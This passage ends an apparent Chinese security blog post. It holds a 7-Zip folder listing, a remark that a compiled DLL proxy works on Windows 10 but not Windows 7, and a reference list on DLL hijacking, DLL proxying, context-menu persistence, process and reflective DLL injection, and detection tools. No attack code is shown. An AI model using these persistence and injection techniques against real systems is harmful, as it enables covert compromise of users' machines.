-a---        2021/12/26     22:00     535040 7z.exe
-a---        2021/12/26     22:00     215040 7z.sfx
-a---        2021/12/26     22:00     193536 7zCon.sfx
-a---        2021/12/26     22:00     945664 7zFM.exe
-a---        2021/12/26     22:00     667136 7zG.exe
-a---         2018/1/28     17:00        366 descript.ion
-a---        2021/12/27     16:52      54604 History.txt
-a---         2021/1/17     23:12       3990 License.txt
-a---        2021/12/26     21:54       1702 readme.txt
-a---        2021/12/26     22:00      14848 Uninstall.exe


PS C:\Program Files\7-Zip>

经测试编译出来在本机win10可以代理成功,换到win7不能,应该是win接口变了吧。

refer

https://uknowsec.cn/archives/
https://www.runoob.com/w3cnote/cpp-static-library-and-dynamic-library.html
https://blog.raphael.karger.is/articles/2020-03/context-menu-persistance [context-menu-persistance]
https://www.cnblogs.com/wf751620780/p/10730013.html#autoid-4-3-0 [dll hijacking]
https://github.com/rek7/dll-hijacking [dll hijacking]
https://www.apriorit.com/dev-blog/679-windows-dll-injection-for-api-hooks [dll hijacking]
https://itm4n.github.io/dll-proxying/ [dll proxying]
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns [autoruns.exe]
https://blog.csdn.net/yuyan987/article/details/78558648 [message box]
https://www.cnblogs.com/wf751620780/p/10730013.html [dll injection]
https://blog.csdn.net/Cody_Ren/article/details/100053434 [dll injection]
https://github.com/theevilbit/injection [injections demo]
https://422926799.github.io/posts/9a523925.html [image hijack]
https://docs.microsoft.com/zh-cn/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger?view=vs-2022 [sys symbol]
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot [CreateToolhelp32Snapshot]
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex [CreateRemoteThreadEx api]
https://blog.csdn.net/Cody_Ren/article/details/100041660 [CreateRemoteThreadEx]
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection [ReflectiveDLLInjection]
https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal [vol malfind]
https://blog.csdn.net/weixin_43956962/article/details/105843803 [RDI]
https://github.com/stephenfewer/ReflectiveDLLInjection [RDI]
https://bbs.pediy.com/thread-260235.htm#msg_header_h1_0 [RDI analyze]
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-address-table [PE format]
https://www.apriorit.com/dev-blog/536-detecting-hook-and-rop-attacks [detect hook&ROP Attacks]

Share on

ruokeqx
WRITTEN BY
ruokeqx